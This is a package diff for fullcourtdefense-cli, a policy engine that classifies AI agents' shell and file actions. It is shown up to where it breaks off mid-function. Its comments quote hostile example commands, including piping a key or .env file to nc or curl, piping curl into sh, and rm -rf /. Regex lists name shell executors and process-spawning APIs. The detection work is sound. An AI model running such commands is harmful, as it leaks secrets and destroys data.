fullcourtdefense-cli 1.30.0 → 1.32.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -18,9 +18,11 @@
18
18
  * they diverge. Change this file? Copy it to the other location verbatim.
19
19
  */
20
20
  Object.defineProperty(exports, "__esModule", { value: true });
21
- exports.DEFAULT_ACTION_POLICY_APPROVAL = exports.MACHINE_KINDS = void 0;
21
+ exports.DEFAULT_ACTION_POLICY_APPROVAL = exports.CONTENT_FACT_FIELDS = exports.WORKSTATION_ASK_APPROVAL = exports.MACHINE_KINDS = void 0;
22
22
  exports.normalizeMachineKind = normalizeMachineKind;
23
23
  exports.policyTargetsMachineKind = policyTargetsMachineKind;
24
+ exports.ruleNeedsContentFact = ruleNeedsContentFact;
25
+ exports.isLocalFileContentAction = isLocalFileContentAction;
24
26
  exports.resolveApprovalOptions = resolveApprovalOptions;
25
27
  exports.effectiveApprovalScope = effectiveApprovalScope;
26
28
  exports.deriveToolOperations = deriveToolOperations;
@@ -40,6 +42,68 @@ function policyTargetsMachineKind(appliesTo, kind) {
40
42
  const kinds = (appliesTo?.machineKinds || []).filter(Boolean);
41
43
  return kinds.length === 0 || kinds.includes(kind);
42
44
  }
45
+ /**
46
+ * The developer Ask a softened block becomes: IDE prompt, asked EVERY time (no
47
+ * session memory — a Block-level rule is exactly where a second, different
48
+ * action must not ride on the first yes), blocks on timeout.
49
+ */
50
+ exports.WORKSTATION_ASK_APPROVAL = {
51
+ scope: 'developer',
52
+ remember: 'none',
53
+ onTimeout: 'block',
54
+ };
55
+ /**
56
+ * LOCAL CONTENT CEILING.
57
+ *
58
+ * Facts about what the arguments CONTAIN. A rule that needs one of these to
59
+ * fire is a rule about content, and content on this machine's own disk is not
60
+ * exfiltration: typing a key into `.env`, pasting a token into a test fixture,
61
+ * reading a config file that holds a password. Secret scanning on file content
62
+ * is inherently approximate (there is no finite list of what a fake key looks
63
+ * like), and the industry treats it as advisory for exactly that reason — a
64
+ * hard stop on EDITING is how a developer loses trust in the product after two
65
+ * wrong blocks. So: a `block` that fires on a content fact for a LOCAL FILE
66
+ * action is recorded as a warning (verdict `log`, `loggedInsteadOfBlocked`),
67
+ * never enforced. The same content leaving the machine — an external
68
+ * destination, a recipient, a shell command that sends it — is untouched by
69
+ * this ceiling and still blocks. A policy marked `enforcement: 'hard'` is also
70
+ * untouched: the admin confirmed it should stop without asking.
71
+ */
72
+ exports.CONTENT_FACT_FIELDS = new Set([
73
+ 'toolArgs.containsSecret',
74
+ 'toolArgs.secretKind',
75
+ 'toolArgs.containsPii',
76
+ ]);
77
+ /** Tool / operation names that mean "a file on this machine": read_file, edit_file, write_file, create_file, append_to_file, str_replace, ... */
78
+ const LOCAL_FILE_ACTION_RE = /(?:^|_)(?:read|write|edit|create|append|save|touch|patch|replace|insert|update)(?:_(?:to|in|into))?_?(?:file|text|lines?|contents?)s?(?:$|_)|^(?:read|write|edit)$|^str_replace$/i;
79
+ /** Does this rule need a content fact to fire? (A rule with no content constraint is about the ACTION, not the content.) */
80
+ function ruleNeedsContentFact(rule) {
81
+ return (rule.constraints || []).some(c => exports.CONTENT_FACT_FIELDS.has(c.field));
82
+ }
83
+ /**
84
+ * Is this call a LOCAL FILE action — content touching this machine's disk with
85
+ * nothing leaving the machine? Requires a file path, no external destination,
86
+ * no recipient, and a file-shaped tool or operation. A shell command is never
87
+ * a local file action here (the command line may send data in ways the URL
88
+ * parser cannot see), so `echo $KEY | nc host 4444` keeps its verdict.
89
+ */
90
+ function isLocalFileContentAction(toolName, operation, context) {
91
+ if (!context.path)
92
+ return false;
93
+ if (context['destination.type'] === 'external')
94
+ return false;
95
+ if (context.to)
96
+ return false;
97
+ if (context.url)
98
+ return false;
99
+ // `edit-file`, `edit.file`, `StrReplace`, `writeFile` all read as snake_case words.
100
+ const normalize = (value) => (value || '').replace(/([a-z0-9])([A-Z])/g, '$1_$2').replace(/[-.\s]/g, '_');
101
+ const op = normalize(operation);
102
+ const tool = normalize(toolName);
103
+ if (toolCapabilities(toolName).has('code_execution'))
104
+ return false;
105
+ return LOCAL_FILE_ACTION_RE.test(op) || LOCAL_FILE_ACTION_RE.test(tool);
106
+ }
43
107
  exports.DEFAULT_ACTION_POLICY_APPROVAL = {
44
108
  scope: 'org',
45
109
  remember: 'none',
@@ -223,6 +287,13 @@ function evaluateConstraint(constraint, context) {
223
287
  actual = normalizePathValue(actual);
224
288
  expected = normalizePathValue(expected);
225
289
  }
290
+ // A pattern constraint on a COMMAND LINE describes command words. Quoted
291
+ // argument values (a commit message, an issue title, a string literal in an
292
+ // inline script) are data and never satisfy `command matches **rm -rf /**`;
293
+ // the inner command of `bash -c "…"` / `ssh host "…"` still does.
294
+ if (COMMAND_LINE_FIELDS.has(constraint.field) && /^(?:not_)?(?:matches|contains)$/.test(constraint.operator)) {
295
+ actual = shellCommandWords(actual);
296
+ }
226
297
  if (IDENTITY_CONSTRAINT_FIELDS.has(constraint.field)) {
227
298
  const actualNorm = normalizeIdentityValue(constraint.field, actual);
228
299
  const expectedNorm = normalizeIdentityValue(constraint.field, expected);
@@ -446,6 +517,13 @@ const OPERATION_MATCH_SKIP_FIELDS = new Set([
446
517
  // is a read; the verb signal for file ops is the OPERATION (read/write/delete).
447
518
  // Paths stay in context for path-based rule CONSTRAINTS, which are unaffected.
448
519
  'path', 'filepath', 'file', 'filename', 'dir', 'directory', 'cwd',
520
+ // URLs and destination facts — WHERE a request goes, not WHAT it does. A GET of
521
+ // `/v1/transfer-limits` is a read; the verb of an HTTP action is its method /
522
+ // inferred operation, and `destination.type = external` stays available to
523
+ // constraints. (Real incident: a curl to a `transfer-limits` endpoint was paused
524
+ // for org approval by a money-movement rule listing TRANSFER.)
525
+ 'url', 'uri', 'href', 'endpoint', 'link', 'destination.domain', 'destination.host', 'destination.type', 'destinationHost',
526
+ 'host', 'hostname', 'to', 'recipient', 'recipients', 'from', 'cc', 'bcc',
449
527
  ]);
450
528
  function buildOperationMatchText(_toolName, context) {
451
529
  const parts = [];
@@ -458,12 +536,81 @@ function buildOperationMatchText(_toolName, context) {
458
536
  // pattern, a description) — never a command word. `git commit -m "delete old
459
537
  // loader"` must not satisfy a DELETE rule; `systemctl restart api` still
460
538
  // satisfies RESTART because the verb is an unquoted command word.
461
- const text = COMMAND_LINE_FIELDS.has(key) ? value.replace(/"(?:[^"\\]|\\.)*"|'[^']*'/g, ' ') : value;
539
+ const text = COMMAND_LINE_FIELDS.has(key) ? shellVerbWords(value) : value;
462
540
  parts.push(`${key} ${text}`);
463
541
  }
464
542
  return parts.join(' ');
465
543
  }
466
544
  const COMMAND_LINE_FIELDS = new Set(['command', 'cmd', 'commandLine', 'script', 'args']);
545
+ /**
546
+ * Tool NAMES that run a command line / code. Tested against the separator-
547
+ * normalized name (`_`, `-`, `.` → space): `shell`, `shell_command`, `run_terminal_cmd`,
548
+ * `execute_command`, `node_repl`, `Bash`, `powershell`. One definition for both the
549
+ * "skip SQL sniffing" and "classify with the shell model" decisions so a tool can
550
+ * never be a code-exec tool for one and not the other.
551
+ */
552
+ const CODE_EXEC_TOOL_NAME_RE = /\b(node ?repl|repl|shell|exec|execute|terminal|command|cmd|run ?code|bash|zsh|sh|powershell|pwsh)\b/i;
553
+ /**
554
+ * The words of a command line that can carry an operation VERB: the program,
555
+ * its bare subcommand words, its flags (a flag is part of what a command DOES:
556
+ * `rsync --delete`, `curl -T`, `redis-cli --rdb`) and dot-commands (`sqlite3
557
+ * .dump`). Operands are nouns and are dropped: file paths, URLs, variables,
558
+ * assignments and flag VALUES — `node fcd-wire-enforcement.js` is not a WIRE,
559
+ * `cd /srv/payments` is not a PAYMENT, `--name=transfer` keeps only `--name`.
560
+ * Hyphenated / snake_case words follow the CLI verb-first convention
561
+ * (`terminate-instances`, `delete-stack`, `remove-item`): only the head segment
562
+ * is a verb candidate, the rest is glued into one noun, so TERMINATE matches
563
+ * `terminate-instances` while WIRE cannot match `fcd-wire-enforcement`.
564
+ * Used ONLY for operation keyword matching; `command matches / contains`
565
+ * constraints keep the full shellCommandWords view (a glob may name anything).
566
+ */
567
+ function shellVerbWords(command) {
568
+ let lead = '';
569
+ return shellCommandWords(command)
570
+ .split(/\s+/)
571
+ .filter(Boolean)
572
+ .map(token => {
573
+ if (token === ';') {
574
+ lead = '';
575
+ return token;
576
+ }
577
+ const flag = /^(-{1,2})([A-Za-z][A-Za-z0-9_-]*)(?:=.*)?$/.exec(token);
578
+ const word = flag ? flag[2] : /^\.?[A-Za-z][A-Za-z0-9_-]*$/.test(token) ? token : '';
579
+ if (!word)
580
+ return '';
581
+ if (!flag && !lead)
582
+ lead = word.toLowerCase();
583
+ if (flag) {
584
+ // Version-control flags name REFS, not data: `git push --delete <branch>`,
585
+ // `git branch -D`, `gh pr merge --delete-branch` remove a branch pointer that
586
+ // the reflog / merged commits still hold — housekeeping the same routine
587
+ // corpus already accepts for `git clean -fd` and `git reset --hard`.
588
+ if (VCS_PROGRAMS.has(lead))
589
+ return '';
590
+ // A COMPOUND flag (`--delete-branch`, `--remove-orphans`, `--delete-excluded`)
591
+ // is the NAME of an option, not a verb + object: glue it into one noun. A
592
+ // bare `--delete` (rsync, aws s3 sync) is still what the command does.
593
+ const segs = word.split(/[-_]+/).filter(Boolean);
594
+ if (segs.length > 1)
595
+ return `${flag[1]}${segs.join('')}`;
596
+ }
597
+ const dot = word.startsWith('.') ? '.' : '';
598
+ // A dot-word is a COMMAND only for programs that have dot-commands (`sqlite3
599
+ // .dump`). Everywhere else `.delete_branch_on_merge` (a jq / JSON field path),
600
+ // `.dump` in `jq .dump`, a dotfile or an extension is an operand — data.
601
+ if (dot && !DOT_COMMAND_PROGRAMS.has(lead))
602
+ return '';
603
+ const [head, ...rest] = word.replace(/^\./, '').split(/[-_]+/).filter(Boolean);
604
+ if (!head)
605
+ return '';
606
+ return `${flag ? flag[1] : dot}${head}${rest.length ? ` ${rest.join('')}` : ''}`;
607
+ })
608
+ .filter(Boolean)
609
+ .join(' ');
610
+ }
611
+ const VCS_PROGRAMS = new Set(['git', 'gh', 'hg', 'svn', 'glab']);
612
+ /** Programs whose `.word` arguments are commands (`.dump`, `.tables`, `.schema`). */
613
+ const DOT_COMMAND_PROGRAMS = new Set(['sqlite3', 'sqlite', 'litecli', 'duckdb']);
467
614
  function stringifyArgs(args) {
468
615
  try {
469
616
  return JSON.stringify(args || {});
@@ -500,17 +647,50 @@ function shannonEntropy(value) {
500
647
  function plausibleTokenBody(body) {
501
648
  if (/(.)\1{4,}/.test(body))
502
649
  return false;
650
+ if (REPEATED_CHUNK_RE.test(body))
651
+ return false;
503
652
  if (/^(?:[A-Za-z]+|[0-9]+)$/.test(body) && /^(?:abc|xyz|0123|1234|test|example|your|fake|dummy|sample)/i.test(body))
504
653
  return false;
654
+ // A random body never spells a dictionary placeholder word anywhere inside it
655
+ // (odds ~ 1 in 36^7 for "EXAMPLE"). Vendors reserve exactly such bodies for
656
+ // documentation: every AWS docs access key ends in EXAMPLE, secret keys in EXAMPLEKEY.
657
+ if (PLACEHOLDER_WORD_RE.test(body))
658
+ return false;
505
659
  return shannonEntropy(body) >= 3.0;
506
660
  }
661
+ const PLACEHOLDER_WORD_RE = /example|sample|placeholder|redacted|dummy|changeme|fake|xxxx/i;
662
+ /**
663
+ * A chunk of >= 3 characters repeated 3+ times back to back (`TestTokenTestToken
664
+ * TestToken…`, `abcabcabc`, `123123123`) is how humans pad a fixture to the
665
+ * right length; a random body repeats a 3-char chunk twice in a row with odds
666
+ * ~ 1 in 62^6 per position. Structural — no vocabulary.
667
+ */
668
+ const REPEATED_CHUNK_RE = /(.{3,})\1{2,}/;
507
669
  function isHighEntropySecretToken(token) {
508
670
  if (token.length < 24 || token.length > 512)
509
671
  return false;
672
+ // `NAME=value` / `--flag=value` is an assignment expression, not a value: the
673
+ // identifier and the `=` add character classes and entropy that belong to the
674
+ // syntax. Judge the right-hand side alone (`GITHUB_TOKEN=process.env.API_KEY`
675
+ // is a reference; `GITHUB_TOKEN=<40 random chars>` is still a secret).
676
+ const assignment = /^-{0,2}[A-Za-z_][\w.-]*=(.+)$/.exec(token);
677
+ if (assignment)
678
+ return isHighEntropySecretToken(assignment[1]);
510
679
  // Any URI (postgres://, redis://, amqp://, https://…) is configuration; only
511
680
  // the password inside its userinfo can be a secret — judged as a value.
512
681
  if (/^[a-z][a-z0-9+.-]*:\/\//i.test(token))
513
682
  return looksLikeSecretValue(token);
683
+ // A generic token is TOKEN-SHAPED: base64 / base64url / hex / a prefixed id.
684
+ // Source code that happens to sit after `=` or `:` — call expressions
685
+ // (`parseInput(args.files`), member chains (`process.env.GITHUB_REPOSITORY`),
686
+ // regex literals, array indexing — carries parens, brackets and operators
687
+ // that no credential format uses. Structural, so it holds for every language.
688
+ if (!/^[A-Za-z0-9._~+/=-]+$/.test(token))
689
+ return false;
690
+ // A dotted chain of identifiers (`config.auth.clientSecret`, `DEFAULT_POLICY.scope`)
691
+ // is a reference to a value, not the value.
692
+ if (/^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*)+$/.test(token))
693
+ return false;
514
694
  if (/^[0-9a-f]+$/i.test(token))
515
695
  return false; // hex digest / git sha
516
696
  if (/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.test(token))
@@ -556,6 +736,14 @@ function looksLikeSecretValue(raw) {
556
736
  return false;
557
737
  if (SECRET_CODE_EXPR_RE.test(value))
558
738
  return false;
739
+ // A regex literal (`TOKEN_RE = /[A-Za-z0-9]{16,}/g`) or a value carrying code
740
+ // structure — brackets open a character class, a group, a block, an index —
741
+ // is source, not a credential: no token format contains `[`, `(` or `{`.
742
+ if (/^\/(?:[\[(^\\.]|.*\/[gimsuy]*$)/.test(value) || /[\[({]/.test(value))
743
+ return false;
744
+ // Character-class ranges (`A-Za-z0-9._-`) are a regex alphabet being declared, not a value.
745
+ if (/(?:A-Z|a-z|0-9)/.test(value))
746
+ return false;
559
747
  // A URL, path or hostname as a "password" value is configuration, not a credential value.
560
748
  if (/^(?:https?:\/\/|[a-z]:\\|\.{0,2}\/|~\/)/i.test(value))
561
749
  return false;
@@ -572,6 +760,10 @@ function looksLikeSecretValue(raw) {
572
760
  // real, change-me, your-token-here), or a "fake/test/example/..." prefix.
573
761
  if (/(.)\1{4,}/.test(value))
574
762
  return false;
763
+ if (REPEATED_CHUNK_RE.test(value))
764
+ return false;
765
+ if (PLACEHOLDER_WORD_RE.test(value))
766
+ return false;
575
767
  if (/^[a-z]+(?:[-_.][a-z]+)+$/i.test(value))
576
768
  return false;
577
769
  if (/^(?:change|replace|your|my|our|example|sample|dummy|fake|test|mock|placeholder|not[-_]?real|do[-_]?not[-_]?use|insert|enter|put|paste)[-_]/i.test(value))
@@ -719,9 +911,180 @@ function extractUrl(args, _argsText) {
719
911
  * cannot see — is NOT workspace-scoped and stays a destructive DELETE.
720
912
  * Deterministic: decided from the command's own tokens, never from a guess.
721
913
  */
914
+ /**
915
+ * Split a command line into shell segments (`a && b`, `a; b`, `a || b`, newlines)
916
+ * WITHOUT splitting inside quotes. `node -e "a; b; c"` is ONE segment whose
917
+ * argument is a program; `psql -c "DROP x; DROP y"` is one segment; the `;` in
918
+ * a commit message is punctuation. Backslash escapes inside double quotes are
919
+ * honoured; a single `|` (pipe) is kept inside the segment on purpose so
920
+ * `cat .env | curl -d @- …` and `curl … | sh` are still seen as one action.
921
+ */
922
+ function splitShellSegments(command, alsoOnPipe = false) {
923
+ const out = [];
924
+ let cur = '';
925
+ let quote = null;
926
+ for (let i = 0; i < command.length; i++) {
927
+ const ch = command[i];
928
+ if (quote) {
929
+ cur += ch;
930
+ if (ch === '\\' && quote === '"' && i + 1 < command.length) {
931
+ cur += command[++i];
932
+ continue;
933
+ }
934
+ if (ch === quote)
935
+ quote = null;
936
+ continue;
937
+ }
938
+ // PowerShell here-string `@'…'@` / `@"…"@`: one opaque literal that may hold
939
+ // quotes, newlines and `;` of its own. Tracking its inner quotes by parity
940
+ // would flip the state on every `'` and leak its body as command words.
941
+ if (ch === '@' && (command[i + 1] === "'" || command[i + 1] === '"')) {
942
+ const end = hereStringEnd(command, i);
943
+ if (end > i) {
944
+ cur += command.slice(i, end);
945
+ i = end - 1;
946
+ continue;
947
+ }
948
+ }
949
+ if (ch === '"' || ch === "'") {
950
+ quote = ch;
951
+ cur += ch;
952
+ continue;
953
+ }
954
+ if (ch === '\n' || ch === ';') {
955
+ out.push(cur);
956
+ cur = '';
957
+ continue;
958
+ }
959
+ if (ch === '&' && command[i + 1] === '&') {
960
+ out.push(cur);
961
+ cur = '';
962
+ i++;
963
+ continue;
964
+ }
965
+ if (ch === '|' && command[i + 1] === '|') {
966
+ out.push(cur);
967
+ cur = '';
968
+ i++;
969
+ continue;
970
+ }
971
+ if (alsoOnPipe && ch === '|') {
972
+ out.push(cur);
973
+ cur = '';
974
+ continue;
975
+ }
976
+ cur += ch;
977
+ }
978
+ out.push(cur);
979
+ return out.map(s => s.trim()).filter(Boolean);
980
+ }
981
+ /**
982
+ * End (exclusive) of a PowerShell here-string starting at `start` (`@'` or `@"`).
983
+ * The terminator is the matching quote followed by `@` at the start of a line.
984
+ * Returns -1 when unterminated (then the `@` is an ordinary character).
985
+ */
986
+ function hereStringEnd(command, start) {
987
+ const q = command[start + 1];
988
+ const close = `\n${q}@`;
989
+ const idx = command.indexOf(close, start + 2);
990
+ if (idx < 0)
991
+ return -1;
992
+ return idx + close.length;
993
+ }
994
+ /** Quoted literals in a segment: PowerShell here-strings first (they contain quotes), then "…" and '…'. */
995
+ const QUOTED_LITERAL_RE = /@'[\s\S]*?\r?\n'@|@"[\s\S]*?\r?\n"@|"((?:[^"\\]|\\.)*)"|'([^']*)'/g;
996
+ /** The quoted spans of a segment, unquoted — the argument VALUES a program was handed. */
997
+ function quotedSpans(segment) {
998
+ const spans = [];
999
+ const re = new RegExp(QUOTED_LITERAL_RE.source, 'g');
1000
+ let m;
1001
+ while ((m = re.exec(segment))) {
1002
+ if (m[0].startsWith('@')) {
1003
+ spans.push(m[0].slice(2, m[0].length - 2).replace(/\r?\n$/, ''));
1004
+ continue;
1005
+ }
1006
+ spans.push((m[1] !== undefined ? m[1].replace(/\\(.)/g, '$1') : m[2]) || '');
1007
+ }
1008
+ return spans;
1009
+ }
1010
+ /** The segment with quoted VALUES blanked: what the shell itself sees as command words. */
1011
+ function maskQuotedSpans(segment) {
1012
+ return segment.replace(new RegExp(QUOTED_LITERAL_RE.source, 'g'), '""');
1013
+ }
1014
+ /**
1015
+ * Programs that EXECUTE the command line they are handed as an argument: the
1016
+ * quoted argument is a command, not data, and is classified as one.
1017
+ */
1018
+ const SHELL_EXECUTOR_LEADS = new Set(['bash', 'sh', 'zsh', 'dash', 'ksh', 'fish', 'cmd', 'powershell', 'pwsh', 'eval', 'xargs', 'ssh', 'su', 'timeout', 'watch', 'script',
1019
+ // PowerShell: these EXECUTE their string argument (a here-string included).
1020
+ 'invoke-expression', 'iex', 'invoke-command', 'icm', 'start-process', 'saps']);
1021
+ /** Language interpreters: their `-e` / `-c` argument is CODE in another language. */
1022
+ const SHELL_INTERPRETER_LEADS = new Set(['node', 'nodejs', 'deno', 'bun', 'python', 'python3', 'python2', 'py', 'perl', 'ruby', 'php', 'lua', 'Rscript', 'julia', 'tsx', 'ts-node']);
1023
+ /**
1024
+ * A code snippet that reaches for a process-spawning API executes whatever
1025
+ * string it passes there. Anything else it says (`console.log('rm -rf /')`, a
1026
+ * doc string, a regex) is data. Structural: API names, not vocabulary.
1027
+ */
1028
+ const CODE_SPAWNS_PROCESS_RE = /\b(?:child_process|execSync|execFileSync|spawnSync|spawn|execFile|exec|fork|os\.system|os\.popen|os\.exec[lvpe]*|subprocess|Popen|system|passthru|shell_exec|proc_open|popen|Process\.Start|Deno\.run|Deno\.Command|Bun\.spawn)\b/;
1029
+ /** Perl / Ruby run a shell through backticks and `%x{}`; in JavaScript a backtick is a template literal. */
1030
+ const BACKTICK_SHELL_LEADS = new Set(['perl', 'ruby']);
1031
+ function codeSpawnsProcess(code, lead) {
1032
+ if (CODE_SPAWNS_PROCESS_RE.test(code))
1033
+ return true;
1034
+ return BACKTICK_SHELL_LEADS.has(lead) && /`[^`]*`|%x[\[{(]/.test(code);
1035
+ }
1036
+ /**
1037
+ * The command lines an interpreter's code hands to the shell: each string
1038
+ * literal on its own AND all literals in order — `subprocess.run(['terraform',
1039
+ * 'destroy', '-auto-approve'])` is one command split across an argv list.
1040
+ */
1041
+ function codeCommandLiterals(code, lead) {
1042
+ const literals = quotedSpans(code).concat(BACKTICK_SHELL_LEADS.has(lead) ? (code.match(/`([^`]*)`/g)?.map(s => s.slice(1, -1)) || []) : []);
1043
+ const sequence = literals.join(' ').trim();
1044
+ return sequence && literals.length > 1 ? [...literals, sequence] : literals;
1045
+ }
1046
+ /**
1047
+ * The text of a command line that the SHELL actually treats as command words:
1048
+ * quoted argument values blanked, plus — recursively — the inner command of a
1049
+ * shell executor (`bash -c "…"`, `ssh host "…"`), the statement handed to a SQL
1050
+ * client, and the strings an interpreter's code passes to a process-spawning
1051
+ * API. This is the single view used for glob operation matching and for
1052
+ * `command matches / contains` constraints, so "wrote ABOUT a command" and
1053
+ * "ran it" are told apart the same way everywhere.
1054
+ */
1055
+ function shellCommandWords(command, depth = 0) {
1056
+ const parts = [];
1057
+ for (const segment of splitShellSegments(command)) {
1058
+ const lead = shellSegmentLead(segment);
1059
+ const lower = segment.toLowerCase();
1060
+ if (SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(lower)) {
1061
+ // The quoted STATEMENT executes — but a SQL string literal inside it
1062
+ // (`where note like '%drop table%'`) is data, exactly like a shell argument.
1063
+ parts.push(maskQuotedSpans(segment));
1064
+ for (const statement of quotedSpans(segment))
1065
+ parts.push(maskQuotedSpans(statement));
1066
+ continue;
1067
+ }
1068
+ parts.push(maskQuotedSpans(segment));
1069
+ if (depth >= 3)
1070
+ continue;
1071
+ if (SHELL_EXECUTOR_LEADS.has(lead)) {
1072
+ for (const inner of quotedSpans(segment))
1073
+ parts.push(shellCommandWords(inner, depth + 1));
1074
+ }
1075
+ else if (SHELL_INTERPRETER_LEADS.has(lead)) {
1076
+ const code = quotedSpans(segment).join('\n');
1077
+ if (code && codeSpawnsProcess(code, lead)) {
1078
+ for (const literal of codeCommandLiterals(code, lead))
1079
+ parts.push(shellCommandWords(literal, depth + 1));
1080
+ }
1081
+ }
1082
+ }
1083
+ return parts.join(' ; ');
1084
+ }
722
1085
  function isWorkspaceScopedRemoval(command) {
723
1086
  // Only the removal segment: `npm run build && rm -rf dist` → `rm -rf dist`.
724
- const segments = command.split(/\s*(?:&&|\|\||;|\|)\s*/);
1087
+ const segments = splitShellSegments(command, true);
725
1088
  const removal = segments.find(seg => /\b(rm|del|remove-item|rmdir)\b/i.test(seg)) || command;
726
1089
  const tokens = removal.trim().split(/\s+/).slice(1);
727
1090
  const targets = tokens.filter(t => !/^-/.test(t) && !/^\/[fqs]$/i.test(t) && !/^-(?:recurse|force|literalpath|path|erroraction)$/i.test(t));
@@ -782,26 +1145,61 @@ function shellSegmentLead(segment) {
782
1145
  const lead = (tokens[i] || '').toLowerCase().replace(/^["']|["']$/g, '');
783
1146
  return lead.replace(/^.*[\\/]/, '').replace(/\.(exe|cmd|bat|ps1)$/i, '');
784
1147
  }
785
- function classifyShellSegment(segment) {
786
- const value = segment.trim().toLowerCase();
787
- if (!value)
1148
+ const worstShellOp = (ops, floor = 'read') => ops.reduce((w, op) => ((SHELL_OP_RANK[op] || 0) > (SHELL_OP_RANK[w] || 0) ? op : w), floor);
1149
+ function classifyShellSegment(segment, depth = 0) {
1150
+ const raw = segment.trim();
1151
+ if (!raw)
788
1152
  return 'read';
789
1153
  const lead = shellSegmentLead(segment);
790
1154
  // Shell navigation / session builtins do nothing to the machine on their own.
791
1155
  if (SHELL_NEUTRAL_BUILTINS.has(lead) || /^\$env:[\w]+$/.test(lead) || /^\$\w+$/.test(lead))
792
1156
  return 'read';
793
- // Piping into an interpreter executes whatever came before — unknown code.
794
- const pipesIntoInterpreter = /\|\s*(?:sudo\s+)?(?:ba|z|da|k)?sh\b|\|\s*(?:pwsh|powershell|python3?|node|perl|ruby)\b/.test(value);
795
1157
  // A SQL client executes the statement it is given (`psql -c "DROP TABLE x"`,
796
1158
  // `mysql -e …`, `echo "TRUNCATE …" | psql`). The exact SQL verb is the
797
1159
  // operation, so DROP / TRUNCATE / DELETE / SELECT rules stay precise.
798
- const sqlClient = SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(value);
1160
+ const rawLower = raw.toLowerCase();
1161
+ const sqlClient = SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(rawLower);
799
1162
  if (sqlClient) {
800
1163
  const verb = segment.match(/(?<!-)\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE|GRANT|REVOKE|SHOW|DESCRIBE|EXPLAIN)\b(?!-)/i);
801
1164
  if (verb)
802
1165
  return verb[1].toUpperCase();
803
1166
  return 'SHELL';
804
1167
  }
1168
+ // A shell executor runs its quoted argument AS A COMMAND LINE: `bash -c "rm -rf /"`,
1169
+ // `ssh prod "kubectl delete ns x"`, `cmd /c "…"`. Classify the inner command.
1170
+ if (SHELL_EXECUTOR_LEADS.has(lead) && depth < 3) {
1171
+ const inner = quotedSpans(raw).map(cmd => classifyShellCommandOperation(cmd, depth + 1));
1172
+ const outer = classifyShellWords(maskQuotedSpans(raw), raw, lead);
1173
+ return worstShellOp([...inner, outer], 'SHELL');
1174
+ }
1175
+ // A language interpreter runs CODE. The code executes a shell only through a
1176
+ // process-spawning API; then the strings it passes are command lines. Otherwise
1177
+ // every word in it — a log line, a doc comment, a regex — is data.
1178
+ if (SHELL_INTERPRETER_LEADS.has(lead) && depth < 3) {
1179
+ const code = quotedSpans(raw).join('\n');
1180
+ if (code && codeSpawnsProcess(code, lead)) {
1181
+ const inner = codeCommandLiterals(code, lead).map(cmd => classifyShellCommandOperation(cmd, depth + 1));
1182
+ return worstShellOp(inner, 'SHELL');
1183
+ }
1184
+ return worstShellOp([classifyShellWords(maskQuotedSpans(raw), raw, lead)], 'SHELL');
1185
+ }
1186
+ // Every other program: its quoted arguments are VALUES (a commit message, a
1187
+ // grep pattern, a description, a JSON body). Only the unquoted command words
1188
+ // decide what the line does. Targets for scope decisions come from the raw line.
1189
+ return classifyShellWords(maskQuotedSpans(raw), raw, lead);
1190
+ }
1191
+ /**
1192
+ * Classify a segment from its COMMAND WORDS (`value` — quoted values blanked).
1193
+ * `raw` is the unmasked segment, used only where an operand VALUE matters
1194
+ * (removal targets for destructive scope, transfer operands, redirect targets).
1195
+ */
1196
+ function classifyShellWords(masked, raw, lead) {
1197
+ const value = masked.trim().toLowerCase();
1198
+ if (!value)
1199
+ return 'read';
1200
+ // Piping into an interpreter executes whatever came before — unknown code.
1201
+ const pipesIntoInterpreter = /\|\s*(?:sudo\s+)?(?:ba|z|da|k)?sh\b|\|\s*(?:pwsh|powershell|python3?|node|perl|ruby)\b/.test(value);
1202
+ const segment = raw;
805
1203
  if (/\b(curl|wget|invoke-restmethod|invoke-webrequest|iwr|irm)\b/.test(value)) {
806
1204
  // Before the read programs so `cat .env | curl -d @- https://…` is still an
807
1205
  // egress WRITE. The HTTP method comes from the method flag or a request-body
@@ -843,12 +1241,13 @@ function classifyShellSegment(segment) {
843
1241
  // File transfers: the LAST operand is where the data goes. Remote last = upload
844
1242
  // (egress write); remote first = download (read). `aws s3 cp x s3://b/`,
845
1243
  // `gsutil cp x gs://b/`, `scp x user@host:`, `rsync x host:/path`.
846
- const xfer = value.match(/\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\s+(.+)$/);
847
- if (xfer) {
1244
+ // Operands may be quoted paths — match on the raw line, unquote each token.
1245
+ const xfer = segment.toLowerCase().match(/\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\s+(.+)$/);
1246
+ if (xfer && /\b(?:aws\s+s3\s+(?:cp|sync|mv)|gsutil\s+(?:-m\s+)?(?:cp|rsync|mv)|az\s+storage\s+blob\s+upload|scp|rsync|sftp)\b/.test(value)) {
848
1247
  if (/az\s+storage\s+blob\s+upload/.test(value))
849
1248
  return 'write';
850
1249
  // Operands = tokens that are not flags and not the value of a `--flag value` pair.
851
- const tokens = xfer[1].split(/\s+/).filter(Boolean);
1250
+ const tokens = xfer[1].split(/\s+/).filter(Boolean).map(t => t.replace(/^["']|["']$/g, ''));
852
1251
  const operands = [];
853
1252
  for (let i = 0; i < tokens.length; i++) {
854
1253
  if (tokens[i].startsWith('-')) {
@@ -870,17 +1269,11 @@ function classifyShellSegment(segment) {
870
1269
  }
871
1270
  return 'SHELL';
872
1271
  }
873
- function classifyShellCommandOperation(command) {
874
- const segments = command.split(/\s*(?:&&|\|\||;|\r?\n)\s*/).map(s => s.trim()).filter(Boolean);
1272
+ function classifyShellCommandOperation(command, depth = 0) {
